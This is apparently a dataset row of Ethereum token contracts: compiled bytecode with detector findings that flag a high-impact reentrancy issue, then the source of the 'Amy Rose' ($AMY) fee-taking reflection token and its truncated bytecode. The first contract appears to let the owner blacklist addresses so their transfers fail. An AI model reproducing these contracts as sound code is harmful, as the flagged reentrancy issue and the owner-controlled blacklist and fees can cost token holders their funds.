} | 0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034b578063c3c8cd801461036b578063c9567bf914610380578063dbe8272c14610395578063dc1052e2146103b5578063dd62ed3e146103d557600080fd5b8063715018a6146102ab5780638da5cb5b146102c057806395d89b41146102e85780639e78fb4f14610316578063a9059cbb1461032b57600080fd5b8063273123b7116100f2578063273123b71461021a578063313ce5671461023a57806346df33b7146102565780636fc3eaec1461027657806370a082311461028b57600080fd5b806306fdde031461013a578063095ea7b31461018357806318160ddd146101b35780631bbae6e0146101d857806323b872dd146101fa57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600e81526d1511535413114813d18810d5531560921b60208201525b60405161017a91906118f2565b60405180910390f35b34801561018f57600080fd5b506101a361019e366004611779565b61041b565b604051901515815260200161017a565b3480156101bf57600080fd5b50670de0b6b3a76400005b60405190815260200161017a565b3480156101e457600080fd5b506101f86101f33660046118ab565b610432565b005b34801561020657600080fd5b506101a3610215366004611738565b61047d565b34801561022657600080fd5b506101f86102353660046116c5565b6104e6565b34801561024657600080fd5b506040516009815260200161017a565b34801561026257600080fd5b506101f8610271366004611871565b610531565b34801561028257600080fd5b506101f8610579565b34801561029757600080fd5b506101ca6102a63660046116c5565b6105ad565b3480156102b757600080fd5b506101f86105cf565b3480156102cc57600080fd5b506000546040516001600160a01b03909116815260200161017a565b3480156102f457600080fd5b506040805180820190915260058152641510d5531560da1b602082015261016d565b34801561032257600080fd5b506101f8610643565b34801561033757600080fd5b506101a3610346366004611779565b610882565b34801561035757600080fd5b506101f86103663660046117a5565b61088f565b34801561037757600080fd5b506101f8610925565b34801561038c57600080fd5b506101f8610965565b3480156103a157600080fd5b506101f86103b03660046118ab565b610b2b565b3480156103c157600080fd5b506101f86103d03660046118ab565b610b63565b3480156103e157600080fd5b506101ca6103f03660046116ff565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610428338484610b9b565b5060015b92915050565b6000546001600160a01b031633146104655760405162461bcd60e51b815260040161045c90611947565b60405180910390fd5b66470de4df82000081111561047a5760108190555b50565b600061048a848484610cbf565b6104dc84336104d785604051806060016040528060288152602001611ade602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fcf565b610b9b565b5060019392505050565b6000546001600160a01b031633146105105760405162461bcd60e51b815260040161045c90611947565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461055b5760405162461bcd60e51b815260040161045c90611947565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105a35760405162461bcd60e51b815260040161045c90611947565b4761047a81611009565b6001600160a01b03811660009081526002602052604081205461042c90611043565b6000546001600160a01b031633146105f95760405162461bcd60e51b815260040161045c90611947565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066d5760405162461bcd60e51b815260040161045c90611947565b600f54600160a01b900460ff16156106c75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045c565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072757600080fd5b505afa15801561073b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075f91906116e2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a757600080fd5b505afa1580156107bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107df91906116e2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082757600080fd5b505af115801561083b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085f91906116e2565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610428338484610cbf565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161045c90611947565b60005b8151811015610921576001600660008484815181106108dd576108dd611a8e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091981611a5d565b9150506108bc565b5050565b6000546001600160a01b0316331461094f5760405162461bcd60e51b815260040161045c90611947565b600061095a306105ad565b905061047a816110c7565b6000546001600160a01b0316331461098f5760405162461bcd60e51b815260040161045c90611947565b600e546109af9030906001600160a01b0316670de0b6b3a7640000610b9b565b600e546001600160a01b031663f305d71947306109cb816105ad565b6000806109e06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4357600080fd5b505af1158015610a57573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7c91906118c4565b5050600f805466470de4df82000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af357600080fd5b505af1158015610b07573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047a919061188e565b6000546001600160a01b03163314610b555760405162461bcd60e51b815260040161045c90611947565b600f81101561047a57600b55565b6000546001600160a01b03163314610b8d5760405162461bcd60e51b815260040161045c90611947565b600f81101561047a57600c55565b6001600160a01b038316610bfd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045c565b6001600160a01b038216610c5e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d235760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045c565b6001600160a01b038216610d855760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045c565b60008111610de75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045c565b6001600160a01b03831660009081526006602052604090205460ff1615610e0d57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e4f57506001600160a01b03821660009081526005602052604090205460ff16155b15610fbf576000600955600c54600a55600f546001600160a01b038481169116148015610e8a5750600e546001600160a01b03838116911614155b8015610eaf57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ec45750600f54600160b81b900460ff165b15610ef1576000610ed4836105ad565b601054909150610ee48383611250565b1115610eef57600080fd5b505b600f546001600160a01b038381169116148015610f1c5750600e546001600160a01b03848116911614155b8015610f4157506001600160a01b03831660009081526005602052604090205460ff16155b15610f52576000600955600b54600a555b6000610f5d306105ad565b600f54909150600160a81b900460ff16158015610f885750600f546001600160a01b03858116911614155b8015610f9d5750600f54600160b01b900460ff165b15610fbd57610fab816110c7565b478015610fbb57610fbb47611009565b505b505b610fca8383836112af565b505050565b60008184841115610ff35760405162461bcd60e51b815260040161045c91906118f2565b5060006110008486611a46565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610921573d6000803e3d6000fd5b60006007548211156110aa5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161045c565b60006110b46112ba565b90506110c083826112dd565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061110f5761110f611a8e565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116357600080fd5b505afa158015611177573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119b91906116e2565b816001815181106111ae576111ae611a8e565b6001600160a01b039283166020918202929092010152600e546111d49130911684610b9b565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061120d90859060009086903090429060040161197c565b600060405180830381600087803b15801561122757600080fd5b505af115801561123b573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061125d83856119ed565b9050838110156110c05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045c565b610fca83838361131f565b60008060006112c7611416565b90925090506112d682826112dd565b9250505090565b60006110c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611456565b60008060008060008061133187611484565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061136390876114e1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113929086611250565b6001600160a01b0389166000908152600260205260409020556113b481611523565b6113be848361156d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161140391815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a764000061143182826112dd565b82101561144d57505060075492670de0b6b3a764000092509050565b90939092509050565b600081836114775760405162461bcd60e51b815260040161045c91906118f2565b5060006110008486611a05565b60008060008060008060008060006114a18a600954600a54611591565b92509250925060006114b16112ba565b905060008060006114c48e8787876115e6565b919e509c509a509598509396509194505050505091939550919395565b60006110c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fcf565b600061152d6112ba565b9050600061153b8383611636565b306000908152600260205260409020549091506115589082611250565b30600090815260026020526040902055505050565b60075461157a90836114e1565b60075560085461158a9082611250565b6008555050565b60008080806115ab60646115a58989611636565b906112dd565b905060006115be60646115a58a89611636565b905060006115d6826115d08b866114e1565b906114e1565b9992985090965090945050505050565b60008080806115f58886611636565b905060006116038887611636565b905060006116118888611636565b90506000611623826115d086866114e1565b939b939a50919850919650505050505050565b6000826116455750600061042c565b60006116518385611a27565b90508261165e8583611a05565b146110c05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045c565b80356116c081611aba565b919050565b6000602082840312156116d757600080fd5b81356110c081611aba565b6000602082840312156116f457600080fd5b81516110c081611aba565b6000806040838503121561171257600080fd5b823561171d81611aba565b9150602083013561172d81611aba565b809150509250929050565b60008060006060848603121561174d57600080fd5b833561175881611aba565b9250602084013561176881611aba565b929592945050506040919091013590565b6000806040838503121561178c57600080fd5b823561179781611aba565b946020939093013593505050565b600060208083850312156117b857600080fd5b823567ffffffffffffffff808211156117d057600080fd5b818501915085601f8301126117e457600080fd5b8135818111156117f6576117f6611aa4565b8060051b604051601f19603f8301168101818110858211171561181b5761181b611aa4565b604052828152858101935084860182860187018a101561183a57600080fd5b600095505b8386101561186457611850816116b5565b85526001959095019493860193860161183f565b5098975050505050505050565b60006020828403121561188357600080fd5b81356110c081611acf565b6000602082840312156118a057600080fd5b81516110c081611acf565b6000602082840312156118bd57600080fd5b5035919050565b6000806000606084860312156118d957600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561191f57858101830151858201604001528201611903565b81811115611931576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119cc5784516001600160a01b0316835293830193918301916001016119a7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a0057611a00611a78565b500190565b600082611a2257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a4157611a41611a78565b500290565b600082821015611a5857611a58611a78565b500390565b6000600019821415611a7157611a71611a78565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047a57600080fd5b801515811461047a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b8a3b6b6b543c098efcd58b1b82a12346cc3c56fd4e25ba92de4083931d4eb7964736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,380 |
0x943c8316a95d239ebf25536d0f0becf0f8a04e53 | /**
Amy Rose Token ( $AMY )
Official link:
Telegram: t.me/amyrosetoken
Website: www.amyrosetoken.com
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AMY is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Amy Rose";
string private constant _symbol = "$AMY";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 9;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private buyCooldownEnabled = false;
bool private sellCooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setBuyCooldownEnabled(bool onoff) external onlyOwner() {
buyCooldownEnabled = onoff;
}
function setSellCooldownEnabled(bool onoff) external onlyOwner() {
sellCooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(amount <= _maxTxAmount, "Too many tokens.");
// to buyer
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && buyCooldownEnabled) {
require(tradingOpen, "Trading not yet enabled.");
require(cooldown[to] < block.timestamp, "Your transaction cooldown has not expired.");
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
// from seller
if (!inSwap && from != uniswapV2Pair && tradingOpen) {
require(amount <= 1e12 * 10**9);
if(sellCooldownEnabled) {
require(cooldown[from] < block.timestamp, "Your transaction cooldown has not expired.");
cooldown[from] = block.timestamp + (90 seconds);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
buyCooldownEnabled = true;
sellCooldownEnabled = true;
_maxTxAmount = 5e10 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxAmount(uint256 amount) external onlyOwner() {
require(amount > 0, "Amount must be greater than 0");
_maxTxAmount = amount;
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function maxTxAmount() public view returns (uint) {
return _maxTxAmount;
}
function sellCooldown() public view returns (bool) {
return sellCooldownEnabled;
}
function buyCooldown() public view returns (bool) {
return buyCooldownEnabled;
}
} | 0x6080604052600436106101395760003560e01c80638c0b5e22116100ab578063c3c8cd801161006f578063c3c8cd8014610411578063c9567bf914610428578063d543dbeb1461043f578063dd62ed3e14610468578063e8078d94146104a5578063ec28438a146104bc57610140565b80638c0b5e221461032a5780638da5cb5b1461035557806395d89b4114610380578063a9059cbb146103ab578063acaf4a80146103e857610140565b8063313ce567116100fd578063313ce5671461024057806356c2c6be1461026b5780636fc3eaec14610294578063704fbfe5146102ab57806370a08231146102d6578063715018a61461031357610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad5780631b2773c2146101d857806323b872dd1461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104e5565b6040516101679190612e5f565b60405180910390f35b34801561017c57600080fd5b506101976004803603810190610192919061297d565b610522565b6040516101a49190612e44565b60405180910390f35b3480156101b957600080fd5b506101c2610540565b6040516101cf9190613041565b60405180910390f35b3480156101e457600080fd5b506101ed610551565b6040516101fa9190612e44565b60405180910390f35b34801561020f57600080fd5b5061022a6004803603810190610225919061292e565b610568565b6040516102379190612e44565b60405180910390f35b34801561024c57600080fd5b50610255610641565b60405161026291906130b6565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d91906129b9565b61064a565b005b3480156102a057600080fd5b506102a96106fc565b005b3480156102b757600080fd5b506102c061076e565b6040516102cd9190612e44565b60405180910390f35b3480156102e257600080fd5b506102fd60048036038101906102f891906128a0565b610785565b60405161030a9190613041565b60405180910390f35b34801561031f57600080fd5b506103286107d6565b005b34801561033657600080fd5b5061033f610929565b60405161034c9190613041565b60405180910390f35b34801561036157600080fd5b5061036a610933565b6040516103779190612d76565b60405180910390f35b34801561038c57600080fd5b5061039561095c565b6040516103a29190612e5f565b60405180910390f35b3480156103b757600080fd5b506103d260048036038101906103cd919061297d565b610999565b6040516103df9190612e44565b60405180910390f35b3480156103f457600080fd5b5061040f600480360381019061040a91906129b9565b6109b7565b005b34801561041d57600080fd5b50610426610a69565b005b34801561043457600080fd5b5061043d610ae3565b005b34801561044b57600080fd5b5061046660048036038101906104619190612a0b565b610b95565b005b34801561047457600080fd5b5061048f600480360381019061048a91906128f2565b610cde565b60405161049c9190613041565b60405180910390f35b3480156104b157600080fd5b506104ba610d65565b005b3480156104c857600080fd5b506104e360048036038101906104de9190612a0b565b6112a7565b005b60606040518060400160405280600881526020017f416d7920526f7365000000000000000000000000000000000000000000000000815250905090565b600061053661052f6113c2565b84846113ca565b6001905092915050565b6000683635c9adc5dea00000905090565b6000601060179054906101000a900460ff16905090565b6000610575848484611595565b610636846105816113c2565b610631856040518060600160405280602881526020016136f860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105e76113c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c319092919063ffffffff16565b6113ca565b600190509392505050565b60006009905090565b6106526113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d690612f61565b60405180910390fd5b80601060166101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661073d6113c2565b73ffffffffffffffffffffffffffffffffffffffff161461075d57600080fd5b600047905061076b81611c95565b50565b6000601060169054906101000a900460ff16905090565b60006107cf600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d90565b9050919050565b6107de6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086290612f61565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000601154905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f24414d5900000000000000000000000000000000000000000000000000000000815250905090565b60006109ad6109a66113c2565b8484611595565b6001905092915050565b6109bf6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390612f61565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610aaa6113c2565b73ffffffffffffffffffffffffffffffffffffffff1614610aca57600080fd5b6000610ad530610785565b9050610ae081611dfe565b50565b610aeb6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6f90612f61565b60405180910390fd5b6001601060146101000a81548160ff021916908315150217905550565b610b9d6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2190612f61565b60405180910390fd5b60008111610c6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6490612f01565b60405180910390fd5b610c9c6064610c8e83683635c9adc5dea000006120f890919063ffffffff16565b61217390919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601154604051610cd39190613041565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffff